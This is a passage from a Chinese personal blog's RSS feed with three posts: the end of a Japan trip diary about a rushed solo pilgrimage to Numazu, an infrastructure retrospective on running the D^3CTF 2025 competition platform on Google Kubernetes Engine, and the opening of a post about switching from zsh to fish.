&lt;h2&gt;Day 3&lt;/h2&gt;
&lt;p&gt;我们在铁路桥底下看到一家还在营业的店，遂在此店吃饭，他们的咖喱乌冬和母子丼真的相当的好吃（也不排除我饿了一天见啥都好吃就是了）。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_154523277.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;咖喱乌冬.mp3&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;吃完后走回酒店，越想越觉得来都来了，不去沼津对不起自己。查了一下发现 8 点出发大概能在沼津滞留 3-4 个小时。但是其他几个人均表示再无体力行动，我自己的身体精神状态确实也感到极限，就决定订个 0745 的闹钟，起来后再决定。&lt;/p&gt;
&lt;p&gt;起床后还是感觉超级疲惫，但是想去沼津的心情还是占了上分，于是就开始了单人沼津急行。此时，woshiluo 还不知道自己要经历什么。&lt;/p&gt;
&lt;p&gt;由于精神状态吃不下饭，抓了口面包就出门了。从门前仲町出发到东京站，然后就可以无痛换乘东海道新干线，总算是拿到了特急票！我登上站台才发现非指定席位是有指定车厢的，然而还没等我跑到那个车厢，车就开走了。我只能含泪下一班。咕咕噜地图此时告诉我下一班要等 2 个小时，我意识到此子断不可留，我该看时刻表和线路图。看时刻表发现其实我只要等 20min。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250622_235840485.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;新干线初体验&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;这一轮坐上车后就是激动人心的新干线环节，然后发现除了座位舒适度似乎都不如高铁。不过非固定席位是好文明。车上复习了一会儿就复习不进去了，就开始考虑如何圣地巡礼。很快，骑行的方式就入了我的眼眶，我觉得这简直太对了，最能切身体验沼津风光的方式。&lt;/p&gt;
&lt;p&gt;下车后换乘既有线，走连续换乘上了站台发现自己新干线的票还没检完。保险起见出站再入站了一次，然后又成功错过了一班车，我的圣地巡礼时间啊啊啊。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_013110325.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;在三岛站的 Happy Party Train 痛车&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了 numazu 站后随机选了个出口，然后发现出的不是很理想，只能进站到另一边，结果刷卡出不去了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_015242748.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;北口倒也算圣地的一环&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;找工作人员解释才给我放出去。一出站就能看到名场面了。在车站里有卖集章本，还有各种周边，我决定先买本，其他等回来再说。有些博文推荐在全家旁寄存行李，不过我觉得我的行程应该比较轻松，就没有寄存（好大一个 flag）。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_020315070.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;是的，我就是来看这个的&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;随后逛了一圈商店街，由于时间原因没去咖啡店吃一顿，超遗憾。此时的问题是，共享单车（电助力）在哪里。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_020639629.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;渡边曜探头可爱捏&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_020812811.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;剧场版中的咖啡店&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_022629131.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;我一度怀疑沼津站只有痛巴士，根本没见到过正常的巴士&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_024402421.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;痛井盖&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;我很快发现沼津站旁的的自行车场有一处停放点，然后过去一扫发现都不能借。然后最近的有车的点似乎在善子酒店旁，大概 1km 的样子，好，我冲。然后过去绕了一圈才找到，发现被骑走了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_025219115.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;其实自行车点在这栋楼里面&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;接着发现市区的地方有一个，以及原来这个共享单车是有预约功能的…于是我预约了，走了 2km 终于拿到了车。一蹬车感觉是空的，齿轮比太低了。骑了一段路才发现原来这车是可以换挡的。打到最高档就好了。先前也没做攻略，就知道去完水门后沿海直冲内浦肯定能看到不少。好，我冲。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_030451430.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;赶去市区路上拍的美丽的花&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_030257191.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;沼津市内某桥，照片远没有实地好看&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_033855230.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;水门&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;水门显然也来不及上了，遗憾zura。接下来就是疯狂骑行环节。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_042320494.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;海边一瞥&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_042726828.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个神社也没时间上去了，遗憾 desu&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;中间有一段路很窄，只能骑在马路上，结果我一扭头发现我后面有一个公交车...也不知道跟了我多久，吓人。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_044235691.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;果然已经有人堆了 Aqours 出来&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;骑到水族馆发现按照原有规划必须要返程了，不然就来不及了。但是我的内心觉得再往前骑是对的，于是接着往前走。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_045220068.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;路边一瞥&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;再骑一会就能着看到一个巨陡峭的破，我就知道我赌对了。此时我脑子一热决定骑上去。结果骑到一半发现两个腿都开始抽筋了，只能交替捶打。但是又不敢停下来，因为停下来必然就再也骑不动了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_050054212.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;素未谋面的母校（并不）&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_050129048.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;浦女正面&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了之后本来也想鞠个躬。结果连下车的力气都没有了，只能在车上鞠了一躬。骑上去之后就可以心满意足的回程了。没有时间去水族馆也是同样的遗憾，但是这个安排显然只能这样了。&lt;/p&gt;
&lt;p&gt;回程就是一路狂飙，也不在乎水是不是会溅到自己身上了，虽然肚子饿得疼也没空管。一路狂飙到城里确定剩余时间还算良好才缓下蹬车的速度。在站旁全家买了一瓶超大瓶的乌龙茶，喜欢！在沼津站买了两个渡边曜的立牌，还有一个适合 JR 东海联动的。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_061752267.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;超级满足的乌龙茶！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;回程就轻车熟路没有再过车了。坐在车上才发现自己既没有吃饭，还骑了 30 多公里……原来自己这么厉害的吗。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_064926195.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这个广告看着莫名好笑&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了东京站决定还是坐 Skyliner 赶时间。买 Skyliner 的票和赶车也是非常熟练，熟练到我都在怀疑自己真的是第三天在日本吗。出站的时候 Suica 余额不足了，也是让我用上精算机充值了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_082112314.RAW-01.MP_.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;Skyliner 真不便宜啊&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了机场坐定才发现来早了，又没开始候机，早知道在 numazu 的时候多晃晃了。检视自己才发现自己浑身上下都红了，才发现自己原来晒伤了。在机场吃了一份寿司和章鱼小丸子，圆了吃日本寿司的梦想，至于章鱼小丸子纯是想到某个游戏里的粉毛画师了（笑）。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/image-2-771x1024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;公交卡收集者&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250623_104418147.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;金枪鱼寿司&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;到了时间后行李称重，过安检。我安检倒是一边过，但是怎么感觉其他人都被拦了。&lt;/p&gt;
&lt;p&gt;登机，再见东京！&lt;/p&gt;
&lt;h2&gt;Day +1&lt;/h2&gt;
&lt;p&gt;落地，你好上海！&lt;/p&gt;
&lt;p&gt;落地后入关非常的丝滑，轮到我看着外国人排外国人通道漫长的队伍了。坐了一会儿决定还是找个酒店住，为今天的考试回血。&lt;/p&gt;
&lt;p&gt;结果一觉醒来差点错过约的滴滴，万幸紧赶慢赶赶上了。到了杭州后就是开始火线复习。一上考场发现又白复习了……复习真的有用吗。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2025/07/PXL_20250624_011838733.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;杭州东娱乐行为&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;结&lt;/h2&gt;
&lt;p&gt;写这篇文章已经是该次旅行之后很久了，本来是想先写五一的旅行日志的，但是果然还是日本旅行的回忆深刻。&lt;/p&gt;
&lt;p&gt;回头考完试就病倒了，此后一直感觉身体精神上异常虚弱，甚至一开始饭都吃不了几口。现在倒是恢复的差不多了，才有精力赶各种 ddl 和写本篇游记。&lt;/p&gt;
&lt;p&gt;本次旅行非常仓促，由于在期末周中间自然没有时间规划。不过也得益于此有需要一拍脑袋就冲的行为，热情盖过了太多事情。&lt;/p&gt;
&lt;p&gt;很难想到第一次出国竟然如此仓促短暂，也很难想到如此短的时间里我去了这么多地方做了这么多事情。那怕在写这段文字的时候，也会感慨「原来这些是三天两夜能做到的？」。&lt;/p&gt;
&lt;p&gt;也更能充分体会到「最喜欢 LoveLive，最喜欢缪斯，最喜欢 Aqours」的心情了，感谢自己的热情和学校的考试安排让本次梦一般的旅行成真。&lt;/p&gt;
&lt;p&gt;令人遗憾的除了没能更进一步的圣地巡礼，也有语言上的不通，果然还是该找个时间从头学日语了？&lt;/p&gt;
&lt;p&gt;Woshiluo Luo&lt;/p&gt;
&lt;p&gt;2025/07/18 初稿 于杭州电子科技大学&lt;/p&gt;
&lt;p&gt;2025/07/19 终稿 于杭州电子科技大学&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>D^3CTF 2025 运维笔记</title><link>https://blog.woshiluo.com/posts/2025/06/d3ctf-2025-%E8%BF%90%E7%BB%B4%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/06/d3ctf-2025-%E8%BF%90%E7%BB%B4%E7%AC%94%E8%AE%B0/</guid><pubDate>Sun, 01 Jun 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;致歉&lt;/h2&gt;
&lt;p&gt;比赛开始后约一小时内，比赛平台因不明原因（目前来看应为平台程序负载过高）导致平台响应速度极慢。如果有参赛的师傅读到这篇文章，再次向您表达歉意。&lt;/p&gt;
&lt;h2&gt;前传&lt;/h2&gt;
&lt;p&gt;尽管我常常自称运维，但是我确实没有实打实的运维过 CTF 比赛，更没有运维过 k8s 集群。这几年协会不少比赛的运维也都是由凌武学长负责。&lt;/p&gt;
&lt;p&gt;先前 HGAME Final 2025 虽已有相关经验，但是 Final 毕竟是，线下赛，校内赛，当时也没出锅，况且出锅了就大不了走到前面给大家鞠躬。&lt;/p&gt;
&lt;p&gt;今年 D^3CTF 的准备时间相较往年有所减少（两个月 -› 一个月）。运维任务我一开始以为不会在 Vidar-Team 手中，结果最后还是落到我们手里。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;餐前&lt;/h2&gt;
&lt;p&gt;首先，毋庸置疑使用了 ret2shell 作为 CTF 平台。首先他是 D^3 成员写的平台，其次就算 ret2shell 有一些小瑕疵，但是其仍比大多数平台更加好用。&lt;/p&gt;
&lt;p&gt;ret2shell 需要跑在 k8s 系平台上，考虑 HGAME 时校内网络稀烂，我们决定全量上云。&lt;/p&gt;
&lt;p&gt;由于路径依赖，我仍然选择腾讯云。就在我已经在腾讯云一台机器上装好 k3s 时，队长告诉我我们已经成功要到了 Google Cloud Platform 的赞助。那云平台也就自然需要使用 GCP 了。&lt;/p&gt;
&lt;p&gt;我一登录 GCP 就好像刘姥姥进了大观园。虽然国内的云平台的应用名也都挺花里胡哨，但是一般还是可以看最后几个字确定的。但是 GCP 上来一个 &quot;Compute Engine&quot; 给我干晕了，这在引擎什么呢？&lt;/p&gt;
&lt;p&gt;不过这倒是我的英文水平不济的问题。我们现在可以创建虚拟机了，让我们试试水。等等，为什么没有带宽选项？查了一下，原来是自动配置的，谷歌还是太有带宽了。&lt;/p&gt;
&lt;p&gt;随后我开始在 GCP 上乱翻，发现了一个叫 GKE 的东西，竟然谷歌有全自动托管的 k8s 集群，为什么不用呢？&lt;/p&gt;
&lt;p&gt;我一开始尝试使用 autopilot 集群，结果发现这个模式下我甚至不能 createRole，于是转而使用传统集群。&lt;/p&gt;
&lt;p&gt;有了 k8s 集群，我很快部署了平台，现在的问题是，如何保证平台能够在赛时的压力下正常运行。&lt;/p&gt;
&lt;p&gt;再结合往年宣传和学长经验后，我得到了如下的基本信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;平台经过了 miniL 和 HGAME 的考验，应该不用担心。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;靶机数量峰值应当在 500 左右。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;cpu:memory 应该在 1:2 左右。（单位 核:GiB）&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;有了这些假设，我认为平台可以在 8 个专门用来跑靶机，1 个专门用来跑平台的机器上存活下来。&lt;/p&gt;
&lt;p&gt;k8s 内部的 NodePort 是互通的，由于用于跑靶机的 vm 有可能会动态扩缩。为了保证靶机 IP 的稳定性，我决定将靶机出口 IP 放到用于跑平台的机器上。&lt;/p&gt;
&lt;p&gt;我开了两个节点组，一个动态扩缩的节点组，用于靶机，一个单个节点的节点组，用于平台。&lt;/p&gt;
&lt;h2&gt;正餐&lt;/h2&gt;
&lt;p&gt;平台几乎平稳的跑到了比赛日的到来，除了 ret2shell 在赛前一天抽风开始乱发邮件（事后查明是对消息队列的使用不当），别的没有什么问题。&lt;/p&gt;
&lt;p&gt;然后比赛一开始，爆炸了。海量的 timed out。我当然要开始火线救援，但是 kubectl top 一看，欸，数据库什么的都没有到限额占用，但是平台占用很高。&lt;/p&gt;
&lt;p&gt;看了数据库和平台的 log，只有大量的请求过慢。这就很奇怪了。&lt;/p&gt;
&lt;p&gt;我先尝试给平台增加了限额，但是情况还是没有改变。我意识到是平台本身需要更多的资源，但是我们没有足够的 CPU 配额用于新的机器了。为此我紧急关闭了一台用于靶机的机器，并增加新的用于平台的机器。同时，我请学长帮我在 GCP 上申请扩大配额（GCP 申请扩大配额需要写小作文）。&lt;/p&gt;
&lt;p&gt;在给平台本身更多资源后，问题基本解决。大约 15min 后，CPU 配额也下来了，我重整完用于平台的机器后，注意到靶机资源略显紧张。&lt;/p&gt;
&lt;p&gt;观察图表发现 CPU:内存 根本不是 1:2，其实 1:8 才差不多。同一时间也注意到动态扩容不能及时生效。我采用滚动更新的方式创建了新的节点组，并逐步淘汰了老的节点组。&lt;/p&gt;
&lt;p&gt;另一方面，我们担心大量的靶机请求会拖累平台机器，建立 2 个专门用来中转的机器。&lt;/p&gt;
&lt;p&gt;自此，集群的状态是 8+2+2，靶机+中转+平台。平台进入稳定状态。我注意到平台稳定在 400-450 台靶机很长时间，直到开赛后 3h 才开始回落，最终稳定在 120 台左右。&lt;/p&gt;
&lt;h2&gt;甜点&lt;/h2&gt;
&lt;p&gt;第二天的时候，伴随比赛的发展，平台的反作弊系统开始生效。为此发生了很多一言难尽的事情，这并非本文的要点。&lt;/p&gt;
&lt;p&gt;平台平稳到达比赛结束，为了节省费用，我改成了 1+1+2 的状态，比赛正式结束。&lt;/p&gt;
&lt;p&gt;但是在 writeup 收集时，我们很后面才注意到，Google Groups 不能接受超过 8MiB 的附件。我们建议选手上传到网盘作为解决方案。&lt;/p&gt;
&lt;p&gt;现在来看，可能还是需要一个正经可控的邮箱平台，或者提供一个上传 writeup 的平台。&lt;/p&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;其实本来是想在文末卖惨的，因为运维 D^3 本就赶鸭子上架，尽管已经努力，还是免不了唉喷。但话又说回来，既然接下了锅就要负责到底，自己水平不够考虑不够导致这样那样的问题也是不争的事实。只能希望被我们这些小毛小病影响到的师傅不要介怀于此。&lt;/p&gt;
&lt;p&gt;现在回过头来看，有几点需要指出：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;压测基于估算，估算基于假设。但事实往往和假设有出入，一旦有较大出入就会出事故。
比如我事前对平台，参赛人数的假设就完全错误，最终导致了平台过载。运维能做的只有不断改善假设，并在结构上提供更好的抗压条件。
理论上，ret2shell 可以有多个实例，后续应当考虑多实例负载均衡来缓解问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WriteUP 收集也许还是应当摒弃传统的邮件方式，改由平台或者独立的网站承担。
现在想要一个可控的邮件系统非常困难，然而如果只是通过网页收取用户上传 PDF，问题会简单许多。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;虽然我曾开玩笑说：「一切问题都是 ret2shell 有反作弊机制导致的」。但没有道理对违规行为屈服，后续比赛的反作弊压力肯定也会很大，只能希望后续的运营和运维能够妥善抗压了。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;CTFTime 上的排名是上传后不可修改的...这在本文写后才发现。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ref&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://baimeow.cn/posts/projects/hgame25-op&quot;&gt;https://baimeow.cn/posts/projects/hgame25-op&lt;/a&gt; 从 HGAME2025 运维，聊聊学校战队 CTF 独立办赛&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>ctf</category><category>share</category><author>woshiluo</author></item><item><title>Fish 7 日之行</title><link>https://blog.woshiluo.com/posts/2025/02/fish-7-%E6%97%A5%E4%B9%8B%E8%A1%8C/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2025/02/fish-7-%E6%97%A5%E4%B9%8B%E8%A1%8C/</guid><pubDate>Wed, 12 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;本着总想折磨一下自己这个本源愿望，最近尝试了从 zsh 迁到 fish。&lt;/p&gt;
&lt;p&gt;尽管 fish 有很多不错的功能（比 zsh 阳间许多的配置文件管理，条理清晰的变量控制 etc），但是事实上各个 shell 的生态并不完全相同。&lt;/p&gt;
